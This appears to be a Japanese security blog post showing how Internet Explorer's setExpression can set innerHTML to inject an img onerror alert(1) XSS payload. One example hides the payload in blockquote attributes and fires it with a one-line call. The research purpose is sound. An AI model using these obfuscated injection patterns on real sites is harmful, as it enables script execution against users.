setExpression で innerHTML を操作して img要素を作って alert(1) する件について
例題ソース
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
<title>Sandbox</title>
</head>
<body>
<h1>setExpression and innerHTML</h1>
<p id="hello">Hello, World</p>
<script type="text/javascript">
<!--
var NAME = "\u003Cimg src=# onerror=alert(1)\u003E";
hello.setExpression("innerHTML", "String(NAME)");
// -->
</script>
</body>
</html>
上は http://jsbin.com/ovace で試せます。
※余談。このコードでは String(NAME) なあたりが少々工夫のいるところです。が、IE の setExpression の解説を MSDN あたりで調べればこうせざるをえないことになります。
変に感じるところ
Jscript の setExpression はその命名方法からして、 style の{何かA:expression(何かB)}
を動的に変えるものである、と思いがちです。 ところが、上の例題ソースでは、何かAとして innerHTML を操作しています。innerHTML はスタイル記述に無関係であるのではと疑問が生じます。
昔から、ほかならぬ Microsoft 社の説明記事で具体的に上のような操作が可能であると公開していました。古い記事ですが近いものが、Googleで検索可能です。 検索ワードとしては、setExpression と innerText の二つを利用すると良いでしょう。 不思議な不思議な、意図された仕様なのですね。setExpression は IE8 から絶滅の運命にあるようですが、こんな変なものは早くなくなったほうが良いので歓迎できます。 というか、IE7(IE6)でも使えなくてもいいんじゃないかとさえ思います。そういうパッチが出てもいいですよね。style記述以外の操作だけでも禁止すると良いかと思います。そんなの健全なWEB世界では使っていないと思いますし。あ、ビヘイビアとの協同があるかぁ。それもできたらなくす方向で。だめですか?
もう少しだけ変形すると以下のようなコードも記述可能です
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
<title>Sandbox</title>
</head>
<body>
<h1>setExpression and innerHTML</h1> <blockquote id="pL"
title="'<img src=about:foo onerror=alert(1)>'"
class="setExpression"
cite="innerHTML" >
<p>text</p>
</blockquote>
<script type="text/javascript">
<!--
pL[pL.className](pL.cite, pL.title);
// -->
</script>
</body>
</html>
上は、 http://jsbin.com/emowo で試せます。このように変形してしまうと人間の目にはなかなか何が起きているのかわかりづらいかと思います。blockquote要素の属性をpayload (container) にしているからですね。従って script要素の中身だけを見た目で追いかけてもそれが危険であるかどうかなど、わかりません。
さて、この変形バージョンでは、通常ありえそうにないケースを考えています。(はてなダイアリーの開発期のベータバージョン時代ならいざしらず…ですけれども。) もっと普通に考えられるのは、form要素ですね、やはり。いろいろなものをinput要素のvalue属性として設定可能ですし、たぶんそれは、form要素のid属性とinput要素のname属性等の組み合わせで呼び出し可能でしょう。 また、こうしたペイロードを組み合わせて発火させる仕掛け自体は一見すると無害にしかみえない単純な一行のコードになりえることでしょう。
つくづく感じることですが、絶対に、攻撃者にJavaScript記述の隙を見せてはいけない、ということですね。